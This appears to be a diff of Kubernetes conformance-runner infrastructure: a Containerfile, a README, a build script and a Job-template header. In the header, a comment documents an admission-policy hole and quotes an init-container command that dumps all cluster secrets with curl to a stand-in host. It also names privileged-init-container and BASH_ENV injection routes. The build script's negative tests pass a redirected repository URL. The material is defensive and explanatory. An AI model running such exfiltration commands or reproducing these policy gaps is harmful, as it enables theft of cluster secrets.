: "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
# and kubectl in this image are the same builds the toolbox gate runs with.
#
# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
# --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
# that belongs in its own reviewed change, not as a silent addition to a runner image.
# infra/devcontainer/Containerfile has the same gap for the same binary.
RUN set -eux; \
mkdir -p /out; \
curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
-o /out/kubectl; \
curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
-o /tmp/kubectl.sha256; \
echo "$(cat /tmp/kubectl.sha256) /out/kubectl" | sha256sum -c -; \
curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
| tar -xz -C /out chainsaw; \
chmod 0755 /out/kubectl /out/chainsaw; \
/out/kubectl version --client=true --output=yaml >/dev/null; \
/out/chainsaw version >/dev/null
# --- runtime -----------------------------------------------------------------
ARG FEDORA_VERSION=44
FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
ARG CHAINSAW_VERSION=
ARG KUBECTL_VERSION=
ARG FEDORA_VERSION=44
# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
ARG RUNNER_UID=65532
ARG RUNNER_GID=65532
LABEL org.opencontainers.image.title="conformance-runner" \
org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
org.opencontainers.image.documentation="conformance/incluster/README.md" \
homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
# bash: run.sh + every check.sh. python3: the stdlib report generators.
# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
# tar+gzip: the base64-tar results channel. diffutils: `diff` in the L1 golden compare.
# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
RUN set -eux; \
microdnf -y install --setopt=install_weak_deps=0 --nodocs \
bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
ca-certificates; \
microdnf clean all; \
rm -rf /var/cache/* /var/log/dnf*
COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
# surface, because the admission policy pins the main container's `command` but never reads
# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
# boundary, not here. See the script's header for the env-injection half of the same hole.
#
# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
# executable the policy will trust. Ownership is asserted below rather than assumed.
COPY conformance-clone /usr/local/bin/conformance-clone
RUN set -eux; \
chown root:root /usr/local/bin/conformance-clone; \
chmod 0755 /usr/local/bin/conformance-clone; \
bash -n /usr/local/bin/conformance-clone; \
/usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
RUN set -eux; \
echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
# root filesystem is read-only — a runtime `--global` write would fail.
# safe.directory=*: the init-container clones into the shared emptyDir and the main container
# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
# is no pre-existing hostile checkout this relaxes a check against.
RUN set -eux; \
printf '%s\n' \
'[safe]' \
' directory = *' \
'[advice]' \
' detachedHead = false' \
> /etc/gitconfig; \
chmod 0644 /etc/gitconfig
# Provenance: what is actually in this layer, readable from a running pod.
RUN set -eux; \
{ echo "fedora=${FEDORA_VERSION}"; \
echo "chainsaw=${CHAINSAW_VERSION}"; \
echo "kubectl=${KUBECTL_VERSION}"; \
echo "bash=$(bash --version | head -1)"; \
echo "python3=$(python3 --version)"; \
echo "git=$(git --version)"; \
echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
} > /etc/conformance-runner-versions; \
chmod 0444 /etc/conformance-runner-versions
# Every writable path points into the `workspace` emptyDir — the root filesystem is
# read-only and the admission policy forbids adding a third volume for scratch.
ENV HOME=/workspace \
XDG_CACHE_HOME=/workspace/.cache \
XDG_CONFIG_HOME=/workspace/.config \
TMPDIR=/workspace/.tmp \
PYTHONDONTWRITEBYTECODE=1 \
CONF_ROOT=/workspace/conformance
USER ${RUNNER_UID}:${RUNNER_GID}
WORKDIR /workspace
# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
# prepend something the policy cannot see. `bash` is the interactive fallback for a human
# debugging the image locally.
CMD ["/bin/bash"]
+78 -12
View File
@@ -25,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
commented with the test/requirement that needs it — only as the matching fault-injection
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
`kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
`/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
It is a file in the image rather than an inline script in the Job precisely so admission
can pin it: a policy cannot tell the committed script from an attacker's when both are
just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
takes **no arguments**, and the repository URL and clone target are **compiled in** —
`CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured, because a URL taken from env would let the trigger choose which repository's
code runs as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
> **The other half landed with this branch.** When `conformance-clone` arrived, the
> admission policy pinned the main container's `command` but **never read
> `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
> script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
> merely *available* rather than *required*. The rule that closes it is
> `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
> digest-pinned to the conformance-runner image, `command` exactly
> `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
> `env`/`envFrom` were the same shape of hole and are closed in the same policy.
- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
prints the exact `podman push --digestfile …` command for the operator instead. See
`conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
`--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
default verify stays offline so an air-gapped build is fully checked, not half-checked).
## Flow
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
trigger with narrow rights: create Job + read its logs/status — *not* a broad
kubeconfig).
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
`./run.sh` under `conformance-runner`.
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
their paths) and enforces the merge / phase-exit gate on them.
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
decodes it from `kubectl logs` and must make all five completeness checks listed above
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+229
View File
@@ -0,0 +1,229 @@
#!/usr/bin/env bash
###############################################################################
# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
#
# ./build-image.sh # build + verify + print the digest and push command
# ./build-image.sh --no-verify # build only (skip the in-image tool proof)
# ./build-image.sh --verify-clone # ALSO really clone this repo with conformance-clone.
# # Opt-in because it needs the Gitea host reachable; the
# # default verify is offline so an air-gapped build is
# # still fully checked rather than half-checked.
# ENGINE=docker ./build-image.sh # build with docker instead of podman
#
# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
# non-root uid the policy demands, and prints the exact `podman push` line for a human.
#
# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
# pins the toolbox gate runs with. Nothing in this file invents a version.
#
# THE DIGEST CAVEAT — read it before pasting a digest into anything.
# The digest printed here is the LOCAL manifest digest. It is normally identical to the
# registry digest (podman pushes the manifest it already has rather than recompressing),
# but that is a property of the push, not a guarantee. So the push command below uses
# `--digestfile`: the digest the registry actually returns is the authoritative one, and
# that is the one that goes into conformance/versions.env.
###############################################################################
set -euo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
ENGINE="${ENGINE:-podman}"
VERIFY=1
VERIFY_CLONE=0
for arg in "$@"; do
case "$arg" in
--no-verify) VERIFY=0 ;;
--verify-clone) VERIFY_CLONE=1 ;;
-h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "unknown argument: $arg" >&2; exit 2 ;;
esac
done
log() { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
info() { printf ' %s\n' "$*"; }
die() { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
# --- pins: sourced, never invented -------------------------------------------
TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
# shellcheck disable=SC1090
source "${TOOLCHAIN_ENV}"
: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
# --- image name: fixed by the admission policy -------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
# The tag is build convenience only (a human-readable handle for the push). Admission
# ignores it: only the digest is ever referenced from a Job.
IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
log "Building ${IMAGE_REF}"
info "engine ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
info "pins from ${TOOLCHAIN_ENV}"
info " CHAINSAW ${CHAINSAW_VERSION}"
info " KUBECTL ${KUBECTL_VERSION}"
info " FEDORA ${FEDORA_VERSION}"
"${ENGINE}" build \
--file "${HERE}/Containerfile" \
--tag "${IMAGE_REF}" \
--build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
--build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
--build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
"${HERE}"
# --- verify: the point of the whole exercise ---------------------------------
# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
# filesystem — the shape the admission policy forces. A pass here is the only evidence
# this image is usable; a build that merely succeeded is not.
if [ "${VERIFY}" -eq 1 ]; then
log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
"${ENGINE}" run --rm \
--user 65532:65532 \
--read-only \
--tmpfs /workspace:rw,mode=1777 \
--entrypoint "" \
"${IMAGE_REF}" \
/bin/bash -euo pipefail -c '
echo "--- id ---"; id
echo "--- HOME ---"; echo "HOME=${HOME}"
echo "--- bash ---"; bash --version | head -1
echo "--- python3 ---"; python3 --version
echo "--- git ---"; git --version
echo "--- kubectl ---"; kubectl version --client
echo "--- chainsaw ---"; chainsaw version
echo "--- baked versions ---"; cat /etc/conformance-runner-versions
echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
if [ -w /usr/local/bin/conformance-clone ]; then
echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
fi
echo "confirmed: not writable by uid $(id -u)"
# Each of these MUST fail. Assert the non-zero exit as well as the message: a check
# that only greps stderr would pass a build where the guard had stopped rejecting.
# (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
# expected failure — without it the verify dies at the first negative case.)
expect_fail() {
local label="$1"; shift
local out rc=0
out="$(env "$@" 2>&1)" || rc=$?
echo "--- ${label} ---"
printf "%s\n" "${out}" | head -2
if [ "${rc}" -eq 0 ]; then
echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
fi
echo "(rejected, exit ${rc})"
}
expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
conformance-clone --layer l2
expect_fail "conformance-clone rejects a missing SHA" \
conformance-clone
expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
CONFORMANCE_GIT_SHA=main conformance-clone
expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
expect_fail "conformance-clone rejects a HOME off the workspace volume" \
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
HOME=/etc conformance-clone
expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
expect_fail "conformance-clone refuses a clone target off the workspace volume" \
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
CONFORMANCE_SRC=/etc/src conformance-clone
echo "--- rootfs is read-only (expected: a failure) ---"
if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
echo "confirmed: / is read-only"
echo "--- HOME is writable (the workspace emptyDir) ---"
touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
echo "--- uid is non-zero ---"
[ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
'
log "Toolchain verified"
fi
# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
# The negative cases above prove conformance-clone refuses bad input. This proves the
# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
# rev-parse assertion is only an unexercised line of shell.
if [ "${VERIFY_CLONE}" -eq 1 ]; then
log "Verifying conformance-clone against the real repository"
SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
info "requesting commit ${SHA}"
"${ENGINE}" run --rm \
--user 65532:65532 \
--read-only \
--tmpfs /workspace:rw,mode=1777 \
--network host \
--entrypoint "" \
-e "CONFORMANCE_GIT_SHA=${SHA}" \
"${IMAGE_REF}" \
/bin/bash -euo pipefail -c '
conformance-clone
echo "--- assert rev-parse HEAD == the requested SHA ---"
got="$(git -C /workspace/src rev-parse HEAD)"
echo "requested: ${CONFORMANCE_GIT_SHA}"
echo "HEAD: ${got}"
[ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
echo "confirmed: the working tree is at the requested commit"
test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
'
log "conformance-clone verified against the real repository"
fi
# --- digest ------------------------------------------------------------------
DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
log "Built ${IMAGE_REF}"
info "local manifest digest ${DIGEST}"
info "image id ${IMAGE_ID}"
info "size $(( SIZE / 1024 / 1024 )) MiB"
cat <<EOF
================================================================================
NOT PUSHED. Publishing is an operator action — this script holds no registry
credential and will never acquire one.
OPERATOR: run these two commands, then paste the digest from the digestfile into
conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
${ENGINE} login gitea.home.keithjackson.dev
${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
${IMAGE_REF}
Then:
cat /tmp/conformance-runner.digest
# -> sha256:.... THIS is the authoritative digest, not the local one above.
# conformance/versions.env
CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
and so is any other repository path.
TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
\`${IMAGE_REPO}@sha256:*\` to be replaced with the
LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
That is a separate, human-reviewed PR against the security boundary.
================================================================================
EOF
+270 -35
View File
@@ -1,23 +1,175 @@
# =============================================================================
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
# CI collects, and enforces the merge / phase-exit gate on the outcome.
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# Two invocation shapes (CI sets args):
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
# * PHASE EXIT: ./run.sh --layer all (full suite)
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
# Chosen = a shared results emptyDir + a terminating log stream, with an
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
# results volume (or scrapes the pod log, which echoes their paths).
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
